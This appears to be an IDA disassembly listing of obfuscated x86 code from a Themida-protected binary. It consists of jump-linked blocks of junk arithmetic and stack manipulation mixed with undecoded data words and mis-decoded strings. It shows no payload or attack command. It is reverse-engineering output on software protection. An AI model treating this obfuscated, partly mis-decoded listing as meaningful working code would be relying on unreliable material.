loc_561200:				; CODE XREF: Themida_:00560BF4j
		xchg	ebp, [esp]
		jmp	loc_568F9D
; ---------------------------------------------------------------------------

loc_561208:				; CODE XREF: Themida_:00568E8Bj
		sub	ecx, ebx
		add	ecx, 71AF1B97h
		pop	ebx
		xor	ecx, 6112268Ch
		add	ecx, 71511A6Fh
		push	ebx
		mov	ebx, 6BBE2D57h
		shr	ebx, 1
		shl	ebx, 6
		add	ebx, 0B59C5FE6h
		inc	ebx
		and	ebx, 5FE45432h
		dec	ebx
		and	ebx, 5B3531BBh
		sub	ebx, 0DA2CFECEh
		add	ebp, ebx
		pop	ebx
		sub	ebp, 1EAF7302h
		jmp	loc_56236C
; ---------------------------------------------------------------------------
		dd 5004C483h, 4B8h, 4EC8300h, 0B9240C89h, 20AD2150h, 8159CF29h
		dd 204893C7h, 81C7012Fh, 204893EFh, 50C7812Fh, 8B20AD21h
		dd 0C4812404h, 4, 8B243C87h, 0E9532424h, 0DC1Dh
; ---------------------------------------------------------------------------

loc_561290:				; CODE XREF: Themida_:0057012Aj
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, eax
		push	esi
		mov	esi, 49373CC7h
		sub	ebx, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_5623D0
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0EF81CF01h, 46CE313Dh, 0C7F9E950h, 248BFFFFh, 4296624h
		dd 9AE99C24h, 81FFFFC5h, 717AB3EFh, 22D2E909h, 0B9510000h
		dd 1C9677FAh, 716A3F2Dh, 95BF5736h, 56AA367h, 4DCB657Ch
		dd 7C2DF829h, 5F4DCB65h, 65C6E9h
		db 0
; ---------------------------------------------------------------------------

loc_561301:				; CODE XREF: Themida_:0056C62Cj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 2
		jmp	loc_560682
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 688Eh, 89240C89h,	0EC8156E1h, 4, 0E9243C89h
		dd 0E11h, 0FFC538E9h, 0A7C381FFh, 8B3E5229h, 0E952243Ch
		dd 723Bh
; ---------------------------------------------------------------------------

loc_561344:				; CODE XREF: Themida_:0056999Dj
		push	esp
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_56B87A
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 24048704h, 5368525Ch, 5A77E928h, 1D04EA81h, 0EAC176C1h
		dd 0B5B85003h, 310A8660h, 36DE9C2h, 51660000h, 16A6E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56138A:				; CODE XREF: Themida_:0056A001j
		add	bl, al
		add	bl, 0Fh
		jmp	loc_57174F
; ---------------------------------------------------------------------------
		dd 15EF301h, 0E95255D3h, 848Ch,	136A68h, 242C8900h, 8E7E0DBDh
		dd 82BE562Eh, 2140ED3Fh, 0DDF75EF5h, 5FD0CD81h,	24E97B0Ah
		db 8, 1, 0
; ---------------------------------------------------------------------------

loc_5613C3:				; CODE XREF: Themida_:00570077j
		mov	ecx, 4A043DE2h
		or	ecx, 32D13B69h
		xor	ecx, 65EB2BFFh
		push	3B54h
		mov	[esp], ebp
		mov	ebp, 665345Ah
		push	eax
		mov	eax, 0C9A92640h
		sub	ebp, eax
		jmp	loc_566EBE
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 506417ECh, 6F3FC181h, 0F1811546h, 0AF27C218h, 0DCE9CB31h
		dd 810000FAh, 0A643CFEAh, 3D03E926h, 0B2520000h, 8BD30032h
		dd 75E92414h, 50000011h, 4579E6B8h, 8BC73118h, 0C4832404h
		dd 1430504h, 0EDE95B07h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_561437:				; CODE XREF: Themida_:0055ED60j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	ebx, 6CBA0BC8h
		add	ebx, 2CBA7170h
		add	ebx, ebp
		jmp	loc_56D763
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF5304C3h, 5B042474h, 5C24048Fh, 616568h, 24348900h
		dd 0E904EC83h, 10C29h, 2B3468h,	242C8900h, 19DCBF57h, 86BD6EFAh
		dd 312CC01Fh, 9699E9FDh, 248B0000h, 0C3DBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561492:				; CODE XREF: Themida_:00568DE7j
		add	esi, ebx
		pop	ebx
		jmp	loc_56B12A
; ---------------------------------------------------------------------------

loc_56149A:				; CODE XREF: Themida_:0056A16Cj
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_56EC36
; ---------------------------------------------------------------------------

loc_5614B5:				; CODE XREF: Themida_:0056BA4Ej
		pop	esi
		jmp	loc_565317
; ---------------------------------------------------------------------------
a5c_iYs9	db '╧5Cз.┴мYИ',0Ah
		db '9',0
		align 4

loc_5614C8:				; CODE XREF: Themida_:00568A79j
		sub	ebx, 4E64042Ch
		dec	ebx
		sub	ebx, 38E19434h
		add	ebp, ebx
		pop	ebx
		and	eax, ebp
		jmp	loc_5718F0
; ---------------------------------------------------------------------------
		db 68h
		dd 7D2Bh, 0C326E9h, 4BB00h, 0C5810000h,	7ECB2F7Dh, 0ED81DD01h
		dd 7ECB2F7Dh, 242C335Bh, 33242C31h, 248B242Ch, 4EC8324h
		dd 0FFF267E9h, 4C481FFh, 8B000000h, 0E9532404h,	0EBF4h
		dd 4C181h, 0AE90000h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56152B:				; CODE XREF: Themida_:0056938Fj
		mov	[esp], eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		sub	esp, 4
		mov	[esp], ebp
		push	75A50D64h
		pop	ebp
		mov	eax, ebp
		pop	ebp
		and	eax, 44306687h
		sub	eax, 44200400h
		jmp	loc_56B825
; ---------------------------------------------------------------------------
		dw 0F668h
		dd 8900000Ah, 0E389241Ch, 3B6ABF57h, 8AE97CD4h
		db 9, 1, 0
; ---------------------------------------------------------------------------

loc_561577:				; CODE XREF: Themida_:0056699Fj
		mov	ebp, [esp]
		jmp	loc_56F5C4
; ---------------------------------------------------------------------------

loc_56157F:				; CODE XREF: Themida_:0055F57Fj
		add	ecx, 93FD9714h
		jmp	loc_56788E
; ---------------------------------------------------------------------------
		dw 8F66h
		dd 0C2DBE902h, 2D04FFFFh, 2D2CE828h, 8B2434FFh,	0C481240Ch
		dd 4, 4C481h, 38680000h, 89000062h, 0BA68241Ch,	0E900003Ah
		dd 0E67Bh, 4EC81h, 4890000h, 0E918B024h, 51F4h,	4DCAE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5615D2:				; CODE XREF: Themida_:005716EDj
		add	ebx, 3587092Bh
		sub	ebx, eax
		sub	ebx, 3587092Bh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esi, 178340B3h
		jmp	loc_56BB0A
; ---------------------------------------------------------------------------
		db 0BAh, 0C9h, 34h
		dd 0F7923B50h, 31C231D0h, 57C231D0h, 0F833E9h, 4EE8100h
		dd 87000000h, 248B2434h, 0A1EE924h, 34890000h, 51E68924h
		dd 0C280E9h, 4BB00h, 0C1810000h, 3C57CD1h, 0BE56D901h
		dd 3C57CD1h, 0ECE9F129h, 0FF0000B5h, 0E9042474h, 0BA4h
		dd 60E9F828h
		db 5, 1, 0
; ---------------------------------------------------------------------------

loc_56164F:				; CODE XREF: Themida_:0057048Aj
		shl	ecx, 3
		sub	ecx, 0AE0FC83Ch
		mov	ebp, ecx
		pop	ecx
		and	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	ecx, 2
		push	ebx
		xor	dword ptr [esp], 76C28F3h
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_569B72
; ---------------------------------------------------------------------------
		db 81h
		dd 0D05F96C5h, 0B346E914h, 74FF0000h, 6BE90424h, 89000029h
		dd 241C8BDEh, 81E78957h, 4C7h, 4C78300h, 100F4E9h, 0FBC68100h
		dd 0E97A425Ch, 8035h
; ---------------------------------------------------------------------------

loc_5616B0:				; CODE XREF: Themida_:0056FAFFj
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	[edi+1Ch], edx
		pop	edx
		jmp	loc_55D86D
; ---------------------------------------------------------------------------

loc_5616C0:				; CODE XREF: Themida_:00569FF9j
		pop	edi
		push	ebp
		mov	ebp, 6A655738h
		jmp	loc_55FB3B
; ---------------------------------------------------------------------------
		dd 0C004EAC0h, 63E904EAh, 89000000h, 0B8E9243Ch
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5616DF:				; CODE XREF: Themida_:005705BDj
		add	eax, ecx
		push	ebx
		jmp	loc_56FB8F
; ---------------------------------------------------------------------------

loc_5616E7:				; CODE XREF: Themida_:005648CFj
		pop	esp
		neg	ebp
		jmp	loc_56B7A4
; ---------------------------------------------------------------------------
aXs		db 'XИ"\',0
		dd 53E95B00h, 0B1000024h, 0FFE9809Bh, 3060B753h, 0E9FCE9F9h
		dd 0F029FFFFh, 3E8C15Eh, 584BDA0Dh, 68D8F72Fh, 5750h, 10FBFE9h
		db 0
; ---------------------------------------------------------------------------

loc_561721:				; CODE XREF: Themida_:00565762j
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	ecx, eax
		pushf
		jmp	loc_55E5C6
; ---------------------------------------------------------------------------
		dw 0EA80h
		dd 57D2F6B2h, 0C781E789h, 4, 8702EF83h,	34E9243Ch, 89000033h
		dd 0A8E9243Ch
		db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_56175B:				; CODE XREF: Themida_:00560EACj
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_56A0F6
; ---------------------------------------------------------------------------
		dd 4EC81ADh, 89000000h,	9FE9243Ch, 89FFFFD5h, 0E9542434h
		dd 0FFFFD5BAh
; ---------------------------------------------------------------------------

loc_56177C:				; CODE XREF: Themida_:0056AA32j
		shl	bh, 8
		xor	bh, 0B5h
		shr	bh, 1
		add	bh, 6Ah
		add	al, bh
		jmp	loc_56DEE3
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 53240489h, 88CFB151h, 0F88859CFh,	1CD9E9h, 2434FF00h
		dd 5E3A685Ah, 1C890000h, 4EC8324h, 83242489h, 5B042404h
		dd 2D64BE56h, 0EEC16DBEh, 0A8EE8103h, 10DB7C5h,	51565EF3h
		dd 0AC1DE9h, 4C48300h, 3304C283h, 14312414h, 4194E924h
		dd 30590000h, 0E2805BDAh, 0B15166FDh, 0FDF4E9A5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5617F6:				; CODE XREF: Themida_:0056E1E4j
		mov	eax, ebp
		pop	ebp
		push	eax
		add	dword ptr [esp], 495D6B9Eh
		pop	ebx
		jmp	loc_56339D
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFE023E9h, 205FFh, 4870000h, 0E9535C24h, 75D0h
; ---------------------------------------------------------------------------

loc_56181C:				; CODE XREF: Themida_:00566BD3j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	eax, 3BCB0423h
		mov	edi, [esp]
		push	edx
		jmp	loc_562305
; ---------------------------------------------------------------------------

loc_56183B:				; CODE XREF: Themida_:005623D1j
		mov	ebx, 338F7499h
		shr	ebx, 4
		xor	ebx, 68BF134Ah
		xor	ebx, 63235680h
		inc	ebx
		xor	ebx, 8A4B280h
		jmp	loc_56229B
; ---------------------------------------------------------------------------
		db 81h
		dd 4BBF7F1h, 59CD0117h,	4EC81h,	34890000h, 2BE24h, 0F5010000h
		dd 74FF555Eh, 0E95D0424h, 0CD5Bh, 0C281E289h, 4, 0FFD55DE9h
		dd 240489FFh, 42474FFh,	5224048Bh, 0C281E289h, 4, 4C281h
		dd 19E90000h, 5100010Ch, 0B013E9h, 48D0F700h, 95D5F795h
		dd 3F51E9h, 240C8B00h, 4C481h, 4FE90000h, 8100000Fh, 1A2236EDh
		dd 0FD1EE949h, 0F3810000h, 299D7D09h, 0ACDCE943h, 34FF0000h
		dd 2434FF24h, 0E3895358h, 4C381h, 0BD550000h, 4, 0FE9EB01h
		dd 8B000079h, 0C4812434h, 4, 0C1D1F75Bh, 0E98108E9h, 9D86BBh
		dd 9CFDE9h, 7D17BD00h, 814D266Ah, 0D47F42F5h, 0E6CD813Eh
		dd 5011E259h, 0E60B13B8h, 58C5092Bh, 0E945D5F7h, 10B46h
		dd 0A45AECBFh, 3DBABB3Eh, 0FB31099Ah, 7A54E9h, 0BE565A00h
		dd 35AF667Fh, 37D7E953h, 0B72C0000h, 0EFD3E9h, 83BD5500h
		dd 0E9E0916Ch, 0FFFFEA98h, 468h, 6C815D00h, 1C40424h, 0F7E93736h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56197F:				; CODE XREF: Themida_:00566AE4j
		shr	esi, 1
		jmp	loc_56271F
; ---------------------------------------------------------------------------

loc_561986:				; CODE XREF: Themida_:00563061j
		neg	edx
		jmp	loc_55E0DD
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 68240489h, 24CAh, 68243C89h,	379E6690h, 58E7815Fh, 0E928E339h
		dd 4FEh
; ---------------------------------------------------------------------------

loc_5619AC:				; CODE XREF: Themida_:0056E32Dj
		mov	esp, [esp]
		mov	[esp], eax
		push	6970216h
		jmp	loc_571554
; ---------------------------------------------------------------------------
		dd 5E2434FFh, 0DA05E9h,	22A66800h, 1C890000h, 4EC8124h
		dd 89000000h, 0E168240Ch, 89000056h, 36B82404h,	89587740h
		dd 0D1F758C1h, 0C2068h,	0F78AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5619F2:				; CODE XREF: Themida_:005713F2j
		sub	dl, cl
		pop	ecx
		push	ebx
		jmp	loc_56E9E7
; ---------------------------------------------------------------------------
		db 4Eh
		dd 3516CE81h, 0EE8129D4h, 63CF0B51h, 1FE7E681h,	0C68161D5h
		dd 4FDAF58h, 3DC6EB81h,	0C38137FCh, 76744661h, 609AE9h
		db 0
; ---------------------------------------------------------------------------

loc_561A25:				; CODE XREF: Themida_:0056E4F5j
		xor	edx, 18A50845h
		jmp	loc_570322
; ---------------------------------------------------------------------------
		dd 8B585B59h, 0C481240Ch, 4, 0FFBE2CE9h, 242489FFh, 681E9h
		db 0
; ---------------------------------------------------------------------------

loc_561A49:				; CODE XREF: Themida_:0055FF44j
		neg	ecx
		jmp	loc_5643A3
; ---------------------------------------------------------------------------

loc_561A50:				; CODE XREF: Themida_:00565418j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_560E27
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 95h
		dd 28F5ED80h, 0EF8059EFh, 5B0500Eh, 0C0FED0F6h,	10241A34h
		dd 5AE9D8F6h
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_561A83:				; CODE XREF: Themida_:00563537j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 73367A7Ch
		dec	ebp
		shl	ebp, 2
		shl	ebp, 3
		xor	ebp, 7CA24DC4h
		add	ebp, 35C71A99h
		push	eax
		mov	eax, 3D007266h
		xor	eax, 38F30C74h
		jmp	loc_5694DD
; ---------------------------------------------------------------------------
		dd 58E9EB80h, 66C0B60Fh, 0E987048Fh, 0FFFFBDA5h
; ---------------------------------------------------------------------------

loc_561AC8:				; CODE XREF: Themida_:0055FEDEj
		pop	ebx
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		push	5AAEh
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_55DEEA
; ---------------------------------------------------------------------------
		db 89h
		dd 0BCB1240Ch, 0CB00C4B3h, 0E92434FFh, 0FBB9h, 67542DADh
		dd 0E3E90A78h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561AFB:				; CODE XREF: Themida_:00570E27j
		xchg	ebx, [esp]
		pop	esp
		sub	edi, 2D076786h
		push	0
		sub	[esp], edi
		pop	edi
		dec	edi
		jmp	loc_56BABA
; ---------------------------------------------------------------------------

loc_561B14:				; CODE XREF: Themida_:00569DA0j
		xor	ebp, 2386468Eh
		add	ebp, 6B44C5AAh
		sub	edx, ebp
		pop	ebp
		add	edx, esi
		add	edx, 44F132FBh
		jmp	loc_567998
; ---------------------------------------------------------------------------

loc_561B30:				; CODE XREF: Themida_:005698EEj
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, 198E180Eh
		neg	ebx
		jmp	loc_55DA31
; ---------------------------------------------------------------------------
		dw 0C783h
		dd 243C8704h, 0FF24248Bh, 0E99C240Ch, 0FFFFBD19h
; ---------------------------------------------------------------------------

loc_561B54:				; CODE XREF: Themida_:0057239Dj
		add	eax, edx
		pop	edx
		add	eax, edi
		jmp	loc_56DCC4
; ---------------------------------------------------------------------------
		dw 489h
aWsx_		db '$WИ∙.',0
		dw 5F00h
		dd 0EAC1DAF7h, 5EE28104h, 55742479h, 4A5A61BDh,	0B5F58127h
		dd 0E9281401h, 104B9h, 0E7E95859h, 56FFFFE5h, 0FFF1D4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561B91:				; CODE XREF: Themida_:00565AD3j
		mov	edi, 3E8A0C83h
		push	edi
		jmp	loc_5636C3
; ---------------------------------------------------------------------------

loc_561B9C:				; CODE XREF: Themida_:0055DDF3j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		sub	ebx, 2CEB756Dh
		add	ebx, edi
		add	ebx, 2CEB756Dh
		pop	edi
		jmp	loc_56B1D2
; ---------------------------------------------------------------------------
		db 89h
		dd 0F3815AD3h, 6A10E05h, 128DEB81h, 0DF312C9Ah,	4607E95Bh
		dd 0EE0D0000h, 0D01AD59h, 3DBB00D0h, 6742C605h,	35D8F77Bh
		dd 3A723FC1h, 0C26AE9h,	4EC8300h, 51241C89h, 0DD19B1B9h
		dd 27E95635h, 56FFFFE8h, 2434FF54h, 4C4815Eh
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5650FD
; ---------------------------------------------------------------------------
		db 0ACh
		dd 5352D830h, 8904EC83h, 0B5E9240Ch, 0FE000043h, 0E99C240Ch
		dd 0FFFFBC41h, 690BD55h, 0E5816B2Dh, 68F14985h,	0F581E5D1h
		dd 0D0420104h, 112CE9h,	2B85000h, 0E9000000h, 0C147h, 9FE9F829h
		db 0C2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_561C57:				; CODE XREF: Themida_:0056635Ej
		mov	ebp, 4A38307Ch
		xor	ecx, ebp
		jmp	loc_56D86A
; ---------------------------------------------------------------------------

loc_561C63:				; CODE XREF: Themida_:00561E4Aj
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_562A8A
; ---------------------------------------------------------------------------
		db 81h
		dd 831B45EBh, 0C3015E05h, 1178E9h, 0F9C68000h, 404A32Ch
		dd 0F000F404h, 42CF42Ch, 0C0B7E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561CA2:				; CODE XREF: Themida_:005714BCj
		push	edi
		mov	edi, 31A36F6Bh
		sub	edi, 1
		xor	edi, 3BCA5B33h
		sub	edi, 78D24636h
		jmp	loc_55E019
; ---------------------------------------------------------------------------
		db 52h
		dd 4BF57h, 0FA890000h, 0D37DE9h
		db 0
; ---------------------------------------------------------------------------

loc_561CCD:				; CODE XREF: Themida_:0055E541j
		add	esp, 4
		shl	edi, 7
		sub	edi, 60E145D6h
		jmp	loc_56B07C
; ---------------------------------------------------------------------------
		db 1, 0C1h, 0E9h
		dd 0FFFFC3C5h
; ---------------------------------------------------------------------------

loc_561CE8:				; CODE XREF: Themida_:0056099Cj
		push	ecx
		jmp	loc_569BD1
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFFD170h, 0C1DBF759h, 504B07EBh, 986FE9h, 5DE80100h
		dd 24043359h, 33240431h, 0E5E92404h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------

loc_561D13:				; CODE XREF: Themida_:00571457j
		mov	esi, 4
		add	eax, esi
		jmp	loc_55F870
; ---------------------------------------------------------------------------
		db 81h
		dd 1230C7C7h, 0E2E9530Fh, 0B9FFFFC6h, 4, 0D9BFE9h
		db 0
; ---------------------------------------------------------------------------

loc_561D35:				; CODE XREF: Themida_:005636B7j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esi
		mov	eax, edx
		pop	edx
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_571116
; ---------------------------------------------------------------------------

loc_561D4D:				; CODE XREF: Themida_:00562AC4j
		sub	esi, 7D1C609Dh
		sub	esi, 0FFFFFFFFh
		jmp	loc_564324
; ---------------------------------------------------------------------------

loc_561D5E:				; CODE XREF: Themida_:0056A7E6j
		mov	esi, 43FA24C3h
		jmp	loc_5630A4
; ---------------------------------------------------------------------------
		dd 335BDA29h, 7FE92414h, 5D0000B2h, 8B2434FFh, 63E9240Ch
		dd 81FFFFD6h, 0B48D3FC7h, 5FFB2964h, 0AE93E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561D8E:				; CODE XREF: Themida_:0056B292j
		mov	ebx, 6C42756Fh
		jmp	loc_56EAA8
; ---------------------------------------------------------------------------

loc_561D98:				; CODE XREF: Themida_:0056F2E9j
		add	ebx, ecx
		pop	ecx
		add	ebx, 2
		jmp	loc_561E3A
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFBABCE9h, 0EFE952FFh, 0ADFFFFEEh, 7D1DBD55h, 0BD550A6Eh
		dd 4BFF4497h, 57FEBB53h, 0D8014314h, 0E9241C8Bh, 0FD3Ch
		dd 76E9C629h, 5C000075h, 2404D366h, 0BA87E99Ch,	3C89FFFFh
		dd 3B426824h, 4890000h,	4B824h,	0E9500000h, 0CD04h
; ---------------------------------------------------------------------------

loc_561DFC:				; CODE XREF: Themida_:00564F99j
		push	4096h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_566944
; ---------------------------------------------------------------------------
		db 81h
		dd 9042444h, 10ECC4Ah, 81042474h, 904246Ch, 5E0ECC4Ah
		dd 0CE82E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561E32:				; CODE XREF: Themida_:00570830j
		mov	[esp], edi
		jmp	loc_56F1C8
; ---------------------------------------------------------------------------

loc_561E3A:				; CODE XREF: Themida_:00561DA1j
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_5600BF
; ---------------------------------------------------------------------------

loc_561E47:				; CODE XREF: Themida_:0056E27Aj
		mov	ebx, [esp]
		jmp	loc_561C63
; ---------------------------------------------------------------------------
		db 2Dh
		dd 63665D9Bh, 9B05E801h, 0E963665Dh, 2C40h
; ---------------------------------------------------------------------------

loc_561E60:				; CODE XREF: Themida_:005604B1j
		add	edx, ecx
		pop	ecx
		add	edx, 4
		jmp	loc_55E481
; ---------------------------------------------------------------------------
		db 87h
		dd 315C240Ch, 24048BC2h, 0E904C483h, 168Ah, 0E92434FFh
		dd 0FFFFD251h, 0BA4DB0B8h, 58C63128h, 1E18BA52h, 0C2831EFCh
		dd 6692E901h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561E9A:				; CODE XREF: Themida_:00570A22j
		add	eax, ecx
		pop	ecx
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		jmp	loc_56EEE3
; ---------------------------------------------------------------------------
		dw 0EFC1h
		dd 0DFCF8104h, 81171801h, 0D41258C7h, 5FF889FCh, 5103E0C1h
		dd 6523B8B9h, 0CDB6E923h, 9EE90000h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561ECF:				; CODE XREF: Themida_:0055F2ECj
		mov	ebx, edi
		pop	edi
		xor	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_56F554
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 3668240Ch, 89000006h, 58542404h, 5D3EB951h
		dd 0E9813D62h, 4863580Ch, 0E1814149h, 73C44B95h, 114F181h
		dd 0C80170C4h, 0FCDFE959h, 835BFFFFh, 348704C6h, 89505C24h
		dd 405E0h, 4050000h, 87000000h,	248B2404h, 0FEFFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561F2E:				; CODE XREF: Themida_:0055FCC8j
		pop	ebx
		add	ebx, ecx
		pop	ecx
		push	ecx
		jmp	loc_5688CA
; ---------------------------------------------------------------------------
aZhH		db 'Zh╦h',0
		align 2
		dw 1489h
		dd 15B15124h, 5059CE88h, 0E6203AB4h, 0F6DE8658h, 80DE86D3h
		dd 0CEFE66EEh, 0EE80D6F6h, 0E9F10030h, 0E799h, 0FFBDE957h
		dd 0BE560000h, 2, 335EF301h, 1C31241Ch,	241C3324h, 2404205Ch
		dd 0B8E7E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561F86:				; CODE XREF: Themida_:0056956Cj
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 4
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_561126
; ---------------------------------------------------------------------------
		dw 468h
		dd 8B000000h, 0C481243Ch, 4, 34FFFE01h,	0C4815F24h, 4
		dd 0B64CE956h, 0CC680000h, 6800002Ah, 3B34h, 24048F54h
		dd 4240481h, 8F000000h,	0EC832404h, 24148904h, 368DE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561FEE:				; CODE XREF: Themida_:00570089j
		add	esp, 4
		push	edx
		mov	edx, 45037453h
		and	esi, edx
		pop	edx
		push	edx
		mov	edx, 6D3236D6h
		jmp	loc_568D42
; ---------------------------------------------------------------------------
aS8q		db '[И8÷',0
		align 2
		dw 0BE56h
		dd 104CF8DDh, 2D5EF329h, 28205EFAh, 0FA05D801h,	5B28205Eh
		dd 1815E9h, 31C83100h, 0C50EE9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562032:				; CODE XREF: Themida_:00560E59j
		push	esp
		jmp	loc_55E7E0
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 273F5BB0h, 0FFE553E9h, 33F480FFh, 80FFEC80h
		dd 0E22085ECh, 99F28058h, 148BD000h, 4C48324h, 0D8286B04h
		dd 0E9C2E9h, 4C48300h, 0B9E9E921h, 8B00007Bh, 0C481240Ch
		dd 4, 8B24048Fh, 0C4832424h, 0EBE4E904h, 48F0000h, 6EF3E924h
		dd 0BD550000h, 6F276C5h, 0B5E9E9h
		db 0
; ---------------------------------------------------------------------------

loc_562099:				; CODE XREF: Themida_:0055F9D6j
		mov	esp, [esp]
		mov	[esp], ecx
		push	0FEh
		pop	ecx
		and	[edi+1Ch], ecx
		jmp	loc_566B63
; ---------------------------------------------------------------------------

loc_5620AD:				; CODE XREF: Themida_:0056A11Fj
		not	edi
		inc	edi
		jmp	loc_572591
; ---------------------------------------------------------------------------
		db 0BFh, 0BDh, 61h
		dd 0E7D10261h, 0CFA2E9h, 2434FF00h, 0C4A8E95Fh,	481FFFFh
		dd 424h, 0D710E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5620D6:				; CODE XREF: Themida_:005690ABj
		push	edx
		mov	edx, 7C203BF0h
		xor	edx, 52075F70h
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edi, eax
		add	edi, 2E276480h
		sub	edi, 2E51777Bh
		jmp	loc_56B4AB
; ---------------------------------------------------------------------------
		db 29h,	0EFh, 81h
		dd 603C81EFh, 0E897E904h, 4BDFFFFh, 29000000h, 4EE95DEFh
		dd 570000D3h, 0B2161CBFh, 0E057E939h, 0E6890000h, 3265E9h
		dd 80CDFE00h, 0EDC0FBC5h, 0CF9FE907h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562136:				; CODE XREF: Themida_:00563D74j
		add	edi, 4
		jmp	loc_562355
; ---------------------------------------------------------------------------
		db 68h,	0C8h, 1Fh
		dd 0F75F0FF3h, 22EF81DFh, 0E9048769h, 0EB6Bh, 27F1EA81h
		dd 34FF68B8h, 285E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562162:				; CODE XREF: Themida_:00560B31j
		sub	edi, ebx
		pop	ebx
		sub	edi, 0D518E251h
		sub	edx, edi
		jmp	loc_55ED96
; ---------------------------------------------------------------------------

loc_562172:				; CODE XREF: Themida_:0056FFC3j
		sub	bl, 5Ah
		jmp	loc_56DA89
; ---------------------------------------------------------------------------
		dw 5568h
		dd 89000039h, 0E789243Ch, 4BA52h, 0D7010000h, 4C7835Ah
		dd 0EBA4E9h
		db 0
; ---------------------------------------------------------------------------

loc_562195:				; CODE XREF: Themida_:00560849j
		push	ebp
		mov	ebp, 6F7E0650h
		add	ebp, 0F3E97320h
		sub	eax, ebp
		jmp	loc_562697
; ---------------------------------------------------------------------------

loc_5621A8:				; CODE XREF: Themida_:00571712j
		sub	ebx, 31DB7669h
		pop	ecx
		dec	ebx
		not	ebx
